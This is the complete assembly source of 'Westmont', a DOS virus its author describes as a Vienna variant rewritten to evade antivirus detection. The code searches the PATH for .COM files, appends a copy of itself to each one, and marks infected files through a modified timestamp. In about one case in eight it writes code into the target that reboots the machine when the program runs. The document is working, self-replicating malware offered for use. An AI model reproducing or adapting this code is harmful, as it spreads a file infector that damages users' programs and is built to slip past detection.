; Westmont: A vienna strain ; This is a variation on the Vienna virus which has had sections of its ; code moved around and rewritten in hopes that AV software will ; not be able to recognize it. The seconds flag used to make sure ; that a file isn't infected twice has been modified to 61. The ; check for DOS v1.x has been deleted. Thanks to 40Hex for the ; source to the original Vienna. What a novice (me) can do with ; well documented code! ;------------------------------------------------------------------------------ MOV_CX MACRO X DB 0B9H DW X ENDM CODE SEGMENT ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE ORG $+0100H ;***************************************************************************** ;Start out with a JMP around the remains of the original .COM file, into the ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. ;The rest of the file (first 3 bytes) are stored in the virus data area. ;***************************************************************************** VCODE: JMP virbeg ;This was the rest of the original .COM file. Tiny and simple, this time NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP ;************************************************************ ; The actual virus starts here ;************************************************************ v_start equ $ virbeg: JMP codesrt ; Jump around signature DB "Westmont",0 DB "Ender" codesrt: CALL memtrick ; Call offset setting procedure JMP find_path ; Start ifect routine ;********************************************************************** ; Here when it's time to close it up & end ;********************************************************************** all_done: PUSH DS ;********************************************************************** ; Restore old DTA ;********************************************************************** MOV AH,1AH MOV DX,[SI+old_dta] MOV DS,[SI+old_dts] INT 21H POP DS ;************************************************************************* ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes ; in since the address in a real JMP 100 is an offset, and the offset ; varies from one infected file to the next. By PUSHing an 0100H onto the ; stack, we can RET to address 0100H just as though we JMPed there. ;********************************************************************** quit: POP CX XOR AX,AX XOR BX,BX XOR DX,DX XOR SI,SI MOV DI,OFFSET 0100H PUSH DI XOR DI,DI RET 0FFFFH ; Infection routine ; ~~~~~~~~~~~~~~~~~ ;************************************************************ ; Find the "PATH=" string in the environment ;************************************************************ find_path: POP SI PUSH SI ;Get SI back ADD SI,env_str ;Point to "PATH=" string in data area LODSB MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long REPNZ SCASB ;Search for first character MOV CX,4 ;************************************************************ ; Loop to check for the next four characters ;************************************************************ check_next_4: LODSB SCASB JNZ find_path ;If not all there, abort & start over LOOP check_next_4 ;Loop to check the next character POP SI POP ES MOV [SI+path_ad],DI ;Save the address of the PATH MOV DI,SI ADD DI,wrk_spc ;File name workspace MOV BX,SI ;Save a copy of SI ADD SI,wrk_spc ;Point SI to workspace MOV DI,SI ;Point DI to workspace JMP SHORT slash_ok ;********************************************************** ; Look in the PATH for more subdirectories, if any ;********************************************************** set_subdir: CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? JNZ found_subdir ;If not, there are more subdirectories JMP all_done ;Else, we're all done ;********************************************************** ; Here if there are more subdirectories in the path ;********************************************************** found_subdir: PUSH DS PUSH SI MOV DS,ES:2CH ;DS points to environment segment MOV DI,SI MOV SI,ES:[DI+path_ad] ;SI = PATH address ADD DI,wrk_spc ;DI points to file name workspace ;*********************************************************** ; Move subdirectory name into file name workspace ;*********************************************************** move_subdir: LODSB ;Get character CMP AL,';' ;Is it a ';' delimiter? JZ moved_one ;Yes, found another subdirectory CMP AL,0 ;End of PATH string? JZ moved_last_one ;Yes STOSB ;Save PATH marker into [DI] JMP SHORT move_subdir ;****************************************************************** ; Mark the fact that we're looking through the final subdirectory ;****************************************************************** moved_last_one: MOV SI,0 ;****************************************************************** ; Here after we've moved a subdirectory ;****************************************************************** moved_one: POP BX ;Pointer to virus data area POP DS ;Restore DS MOV [BX+path_ad],SI ;Address of next subdirectory NOP ;****************************************************************** ; Make sure subdirectory ends in a "\" ;****************************************************************** CMP CH,'\' ;Ends with "\"? JZ slash_ok ;If yes MOV AL,'\' ;Add one, if not STOSB ;****************************************************************** ; Here after we know there's a backslash at end of subdir ;****************************************************************** slash_ok: MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace MOV SI,BX ;Restore SI ADD SI,f_spec ;Point to "*.COM" MOV CX,6 REPZ MOVSB ;Move "*.COM",0 to workspace MOV SI,BX ;******************************************************************* ; Find first string matching *.COM ;******************************************************************* MOV AH,4EH MOV DX,wrk_spc ; NOP ;MASM will add this NOP here ADD DX,SI ;DX points to "*.COM" in workspace MOV CX,3 ;Attributes of Read Only or Hidden OK INT 21H JMP SHORT find_first ;******************************************************************* ; Find next ASCIIZ string matching *.COM ;******************************************************************* find_next: MOV AH,4FH INT 21H find_first: JNB found_file ;Jump if we found it JMP SHORT set_subdir ;Otherwise, get another subdirectory ;******************************************************************* ; Here when we find a file ;******************************************************************* found_file: MOV AX,[SI+dta_tim] ;Get time from DTA AND AL,1FH ;Mask to remove all but seconds CMP AL,1FH ;62 seconds -> already infected JZ find_next ;If so, go find another file CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? JA find_next ;If too long, find another one CMP WORD PTR [SI+dta_len],0AH ;Is it too short? JB find_next ;Then go find another one MOV DI,[SI+nam_ptr] ;DI points to file name PUSH SI ;Save SI ADD SI,dta_nam ;Point SI to file name ;******************************************************************** ; Move the name to the end of the path ;******************************************************************** more_chars: LODSB STOSB CMP AL,0 JNZ more_chars ;Move characters until we find a 00 ;******************************************************************** ; Get File Attributes ;******************************************************************** POP SI MOV AX,OFFSET 4300H MOV DX,wrk_spc ;Point to \path\name in workspace ; NOP ;MASM will add this NOP here ADD DX,SI INT 21H MOV [SI+old_att],CX ;Save the old attributes ;******************************************************************** ; Rewrite the attributes to allow writing to the file ;******************************************************************** MOV AX,OFFSET 4301H ;Set attributes AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) MOV DX,wrk_spc ;Offset of \path\name in workspace ; NOP ;MASM will add this NOP here ADD DX,SI ;Point to \path\name INT 21H ;******************************************************************** ; Open Read/Write channel to the file ;******************************************************************** MOV AX,OFFSET 3D02H ;Read/Write MOV DX,wrk_spc ;Offset to \path\name in workspace ; NOP ;MASM will add this NOP here ADD DX,SI ;Point to \path\name INT 21H JNB opened_ok ;If file was opened OK JMP fix_attr ;If it failed, restore the attributes ;******************************************************************* ; Get the file date & time ;******************************************************************* opened_ok: MOV BX,AX MOV AX,OFFSET 5700H INT 21H MOV [SI+old_tim],CX ;Save file time MOV [SI+ol_date],DX ;Save the date ;******************************************************************* ; Get current system time ;******************************************************************* MOV AH,2CH INT 21H AND DH,7 ;Last 3 bits 0? (once in eight) JNZ seven_in_eight ;******************************************************************* ; The special "one in eight" infection. If the above line were in ; its original form, this code would be run 1/8 of the time, and ; rather than appending a copy of this virus to the .COM file, the ; file would get 5 bytes of code that reboot the system when the ; .COM file is run. ;******************************************************************* MOV AH,40H ;Write to file MOV CX,5 ;Five bytes MOV DX,SI ADD DX,reboot ;Offset of reboot code in data area INT 21H JMP SHORT fix_time_stamp NOP ;****************************************************************** ; Here's where we infect a .COM file with this virus ;****************************************************************** seven_in_eight: MOV AH,3FH MOV CX,3 MOV DX,first_3 ; NOP ;MASM will add this NOP here ADD DX,SI INT 21H ;Save first 3 bytes into the data area JB fix_time_stamp ;Quit, if read failed CMP AX,3 ;Were we able to read all 3 bytes? JNZ fix_time_stamp ;Quit, if not ;****************************************************************** ; Move file pointer to end of file ;****************************************************************** MOV AX,OFFSET 4202H MOV CX,0 MOV DX,0 INT 21H JB fix_time_stamp ;Quit, if it didn't work MOV CX,AX ;DX:AX (long int) = file size SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction ADD CX,OFFSET c_len_y MOV DI,SI ;Point DI to virus data area SUB DI,OFFSET c_len_x ;Point DI to reference vir_dat, at start of pgm MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm ;******************************************************************* ; Write virus code to file ;******************************************************************* MOV AH,40H MOV_CX virlen ;Length of virus, in bytes MOV DX,SI SUB DX,OFFSET codelen ;Length of virus code, gives starting ; address of virus code in memory INT 21H JB fix_time_stamp ;Jump if error CMP AX,OFFSET virlen ;All bytes written? JNZ fix_time_stamp ;Jump if error ;********************************************************************** ; Move file pointer to beginning of the file ;********************************************************************** MOV AX,OFFSET 4200H MOV CX,0 MOV DX,0 INT 21H JB fix_time_stamp ;Jump if error ;********************************************************************** ; Write the 3 byte JMP at the start of the file ;********************************************************************** MOV AH,40H MOV CX,3 MOV DX,SI ;Virus data area ADD DX,jmp_op ;Point to the reconstructed JMP INT 21H ;********************************************************************** ; Restore old file date & time, with seconds modified to 62 ;********************************************************************** fix_time_stamp: MOV DX,[SI+ol_date] ;Old file date MOV CX,[SI+old_tim] ;Old file time AND CX,OFFSET 0FFE0H OR CX,1FH ;Seconds = 31/30 min = 62 seconds MOV AX,OFFSET 5701H INT 21H ;********************************************************************** ; Close File ;********************************************************************** MOV AH,3EH INT 21H ;********************************************************************** ; Restore Old File Attributes ;********************************************************************** fix_attr: MOV AX,OFFSET 4301H MOV CX,[SI+old_att] ;Old Attributes MOV DX,wrk_spc ; NOP ;MASM will add this NOP ADD DX,SI ;DX points to \path\name in workspace INT 21H JMP all_done ; Offset setting procedure ; ~~~~~~~~~~~~~~~~~~~~~~~~ memtrick: PUSH CX MOV DX,OFFSET vir_dat ;This is where the virus data starts. ; The 2nd and 3rd bytes get modified. CLD ;Pointers will be auto INcremented MOV SI,DX ;Access data as offset from SI ADD SI,first_3 ;Point to original 1st 3 bytes of .COM MOV DI,OFFSET 100H ;`cause all .COM files start at 100H MOV CX,3 REPZ MOVSB ;Restore original first 3 bytes of .COM MOV SI,DX ;Keep SI pointing to the data area PUSH ES MOV AH,2FH INT 21H ;************************************************************* ; Save the DTA address ;************************************************************* MOV [SI+old_dta],BX MOV [SI+old_dts],ES ;Save the DTA address POP ES ;************************************************************* ; Set DTA to point inside the virus data area ;************************************************************* MOV DX,dta ;Offset of new DTA in virus data area ; NOP ;MASM will add this NOP here ADD DX,SI ;Compute DTA address MOV AH,1AH INT 21H ;Set new DTA to inside our own code PUSH ES PUSH SI MOV ES,DS:2CH MOV DI,0 ;ES:DI points to environment RET ;************************************************************************ ;The virus data starts here. It's accessed off the SI register, per the ; comments as shown ;************************************************************************ vir_dat EQU $ ;Use this with (SI + old_dta) olddta_ DW 0 ;Old DTA offset ;Use this with (SI + old_dts) olddts_ DW 0 ;Old DTA segment ;Use this with (SI + old_tim) oldtim_ DW 0 ;Old Time ;Use this with (SI + ol_date) oldate_ DW 0 ;Old date ;Use this with (SI + old_att) oldatt_ DW 0 ;Old file attributes ;Here's where the first three bytes of the original .COM file go.(SI + first_3) first3_ EQU $ INT 20H NOP ;Here's where the new JMP instruction is worked out ;Use this with (SI + jmp_op) jmpop_ DB 0E9H ;Start of JMP instruction ;Use this with (SI + jmp_dsp) jmpdsp_ DW 0 ;The displacement part ;This is the type of file we're looking to infect. (SI + f_spec) fspec_ DB '*.COM',0 ;Use this with (SI + path_ad) pathad_ DW 0 ;Path address ;Use this with (SI + nam_ptr) namptr_ DW 0 ;Pointer to start of file name ;Use this with (SI + env_str) envstr_ DB 'PATH=' ;Find this in the environment ;File name workspace (SI + wrk_spc) wrkspc_ DB 40h dup (0) ;Use this with (SI + dta) dta_ DB 16h dup (0) ;Temporary DTA goes here ;Use this with (SI + dta_tim) dtatim_ DW 0,0 ;Time stamp in DTA ;Use this with (SI + dta_len) dtalen_ DW 0,0 ;File length in the DTA ;Use this with (SI + dta_nam) dtanam_ DB 0Dh dup (0) ;File name in the DTA ;Use this with (SI + reboot) reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 lst_byt EQU $ ;All lines that assemble into code are ; above this one ;***************************************************************************** ;The virus needs to know a few details about its own size and the size of its ; code portion. Let the assembler figure out these sizes automatically. ;***************************************************************************** virlen = lst_byt - v_start ;Length, in bytes, of the entire virus codelen = vir_dat - v_start ;Length of virus code, only c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP ;***************************************************************************** ;Because this code is being appended to the end of an executable file, the ; exact address of its variables cannot be known. All are accessed as offsets ; from SI, which is represented as vir_dat in the below declarations. ;***************************************************************************** old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp ol_date = oldate_ - vir_dat ;Displacement to old file date stamp old_att = oldatt_ - vir_dat ;Displacement to old attributes first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string path_ad = pathad_ - vir_dat ;Displacement to the path address nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace dta = dta_ - vir_dat ;Displacement to the temporary DTA dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code CODE ENDS END VCODE